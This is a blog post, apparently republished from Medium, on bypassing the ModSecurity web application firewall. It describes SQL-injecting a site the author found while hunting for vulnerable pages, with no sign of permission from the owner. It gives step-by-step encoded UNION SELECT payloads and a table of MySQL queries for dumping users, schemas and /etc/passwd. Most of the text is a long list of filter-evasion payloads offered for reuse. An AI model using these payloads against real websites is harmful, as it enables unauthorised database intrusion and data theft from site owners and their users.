avatar_Y000_

Summary

The provided content outlines a methodology for bypassing the ModSecurity web application firewall (WAF) to exploit SQL injection vulnerabilities in a website.

Abstract

The article details the process of identifying and exploiting a SQL injection vulnerability on a website that is ostensibly protected by ModSecurity, a widely-used open-source web application firewall. The author begins by demonstrating the presence of a SQL injection vulnerability using a simple database error test. Despite the website's use of ModSecurity, the author describes various techniques to circumvent the WAF's security measures, including the use of alternative SQL injection payloads, URL encoding, and comment coding to obfuscate the injected SQL commands. The author also provides a list of payloads and explains how to determine the number of columns in a database table to successfully execute the injection. Additionally, the article references resources for extracting database information and lists of SQL injection techniques, emphasizing the importance of understanding database structure and server configurations to effectively exploit vulnerabilities.

Opinions

  • The author believes that bypassing ModSecurity is a challenging yet achievable task for an attacker with the right knowledge and techniques.
  • There is an emphasis on the importance of creativity in crafting SQL injection payloads to evade detection by WAFs.
  • The author suggests that understanding the internal workings of databases, such as MySQL, is crucial for successful SQL injection attacks.
  • The article implies that even with protective measures like ModSecurity in place, websites can still be vulnerable to SQL injection if the WAF is not properly configured or if the attacker uses advanced bypass techniques.
  • The author provides a comprehensive list of SQL injection payloads and encourages the use of publicly available resources, such as GitHub repositories, to enhance one's capabilities in bypassing security mechanisms.

How to bypass mod_security (WAF)

Hello, this time I would like to share with you how to evade the WAF mod_security.

Looking for vulnerable pages I came across a website that, after spending a little time on it, I realized that it could be vulnerable to sql injections, then I realized that it was “protected” with mod_security and decided to see if I could skip the waf.

I share how I did it …

First we have to put ourselves in context.

What is Mod_security?

ModSecurity is an embeddable web application firewall under GNU license that runs as a module of the Apache web server, provides protection against various attacks on web applications and allows monitoring HTTP traffic, as well as performing analysis in real time without the need to make changes to the infrastructure existing. modSecurity filters attacks by XSS, SQL Injection, abnormal behavior in protocols, robots, Trojans, LFI … also incorporating specific rules for some of the most popular content managers such as Joomla or Wordpress.

https://openwebinars.net/blog/seguridad-en-apache-modsecurity/

Now … we go through steps, the first thing we have to do is look for parameters on the website and test them, as you already know, something very useful and fast is to use a simple ‘ (single quote) after the value of a parameter to generate a database error and find out whether or not the page is vulnerable to sql injection.

As you can see in the following image, I found a parameter called “productid” and a single quote was added to the end of its value. As a result, the page shows us the error:

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’

This means that the page is vulnerable to sql injections.

At this point we proceed to perform the injection, with which we will use a simple method as the first method:

-1+union+select+1+ — +

As a result of the above we have the following:

The site is protected by Mod_security.

Next is to use different ways of injecting and encoding methods for sql injections.

I personally feel more comfortable with the injection with the following syntax:

-1+union(select+1)+ — +

Then I tried mixing upper and lower case:

but with the same result ..

I also tried using url encoding

-1+%55nIoN(%53EleCt+1)+ — +

Double and triple URL encoding

% 2555nIoN% 28% 2553EleCt% 2B1% 29 % 252555nIoN% 2528% 252553EleCt% 252B1% 2529

But it didn’t work out.

Finally I decided to stick with a single URL encoding vilifying this payload:

-1+%55nIoN(%53EleCt+1)+ — +

The next step was to mix comment coding:

-1+/*!12345% 55nIoN*//**/(/*!12345%53EleCt*//**/1)+ — +

And ready!! with this we bypass the WAF filters!

shows us the following legend:

“The used SELECT statements have a different number of columns”

With this we will find out the number of columns on the page:

In this case there are 24 columns, of which number 5 is vulnerable:

-1+/*!12345UnIoN*//**/(/*!12345SEleCt*//**/ 1,2,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24)+ — +

Now the next thing is to get information … For this I will use one of my resources where the different ways to extract basic information from a database come, the complete information is in the following link:

https://github.com/Y000o/sql_injection_basic/blob/master/sql_injection_basic_en.md

|   Version   |  SELECT @@version o SELECT version()  | gives us the version of the database  |

| Current User | SELECT user() o SELECT system_user() | gives us the user we have |

| List Users | SELECT user FROM mysql.user | shows us all users |

| Database  | SELECT database() | shows us the database we are in |

| Lista de bases de datos | SELECT schema_name FROM information_schema.schemata | shows us the databases  |

| List tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | shows us the tables of the chosen database |

| List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | shows us the columns of the chosen table |

| Local File Access |  UNION ALL SELECT LOAD_FILE(‘/etc/passwd’)  | if possible, let us read system files |

| DB location | SELECT @@datadir | It shows us the address where the database is installed |

Finally I will leave a list of payloads with which you can help:

Union Select

/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+ #?uNiOn + #?sEleCt
+ #?1q %0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
+%2F**/+Union/*!select*/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT
UNIunionON+SELselectECT
/**/union/*!50000select*//**/
0%a0union%a0select%09
%0Aunion%0Aselect%0A
%55nion/**/%53elect
uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
%0A%09UNION%0CSELECT%10NULL%
/*!union*//*--*//*!all*//*--*//*!select*/
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
+UnIoN/*&a=*/SeLeCT/*&a=*/
union+sel%0bect
+uni*on+sel*ect+
+#1q%0Aunion all#qa%0A#%0Aselect
union(select (1),(2),(3),(4),(5))
UNION(SELECT(column)FROM(table))
%23xyz%0AUnIOn%23xyz%0ASeLecT+
%23xyz%0A%55nIOn%23xyz%0A%53eLecT+
union(select(1),2,3)
union (select 1111,2222,3333)
uNioN (/*!/**/ SeleCT */ 11)
union (select 1111,2222,3333)
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
/*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
+%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
/*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
/union\sselect/g
/union\s+select/i
/*!UnIoN*/SeLeCT
+UnIoN/*&a=*/SeLeCT/*&a=*/
+uni>on+sel>ect+
+(UnIoN)+(SelECT)+
+(UnI)(oN)+(SeL)(EcT)
+’UnI”On’+'SeL”ECT’
+uni on+sel ect+
+/*!UnIoN*/+/*!SeLeCt*/+
/*!u%6eion*/ /*!se%6cect*/
uni%20union%20/*!select*/%20
union%23aa%0Aselect
/**/union/*!50000select*/
/^.*union.*$/ /^.*select.*$/
/*union*/union/*select*/select+
/*uni X on*/union/*sel X ect*/
+un/**/ion+sel/**/ect+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?<ion sel="">+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+

Concat

CoNcAt()
concat() 
CON%08CAT()
CoNcAt()
%0AcOnCat()
/**//*!12345cOnCat*/
/*!50000cOnCat*/(/*!*/)
unhex(hex(concat(table_name)))
unhex(hex(/*!12345concat*/(table_name)))
unhex(hex(/*!50000concat*/(table_name)))

group_concat

/*!group_concat*/()
gRoUp_cOnCAt()
group_concat(/*!*/)
group_concat(/*!12345table_name*/)
group_concat(/*!50000table_name*/)
/*!group_concat*/(/*!12345table_name*/)
/*!group_concat*/(/*!50000table_name*/)
/*!12345group_concat*/(/*!12345table_name*/)
/*!50000group_concat*/(/*!50000table_name*/)
/*!GrOuP_ConCaT*/()
/*!12345GroUP_ConCat*/()
/*!50000gRouP_cOnCaT*/()
/*!50000Gr%6fuP_c%6fnCAT*/()
unhex(hex(group_concat(table_name)))
unhex(hex(/*!group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(table_name)))
unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
unhex(hex(/*!50000group_concat*/(table_name)))
unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
convert(group_concat(table_name)+using+ascii)
convert(group_concat(/*!table_name*/)+using+ascii)
convert(group_concat(/*!12345table_name*/)+using+ascii)
convert(group_concat(/*!50000table_name*/)+using+ascii)
CONVERT(group_concat(table_name)+USING+latin1)

Information_schema.tables

/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table

You can find more payloads in my github writings:

Sql
Sql Injection
Bypass
Modsecurity
Hacking
Recommended from ReadMedium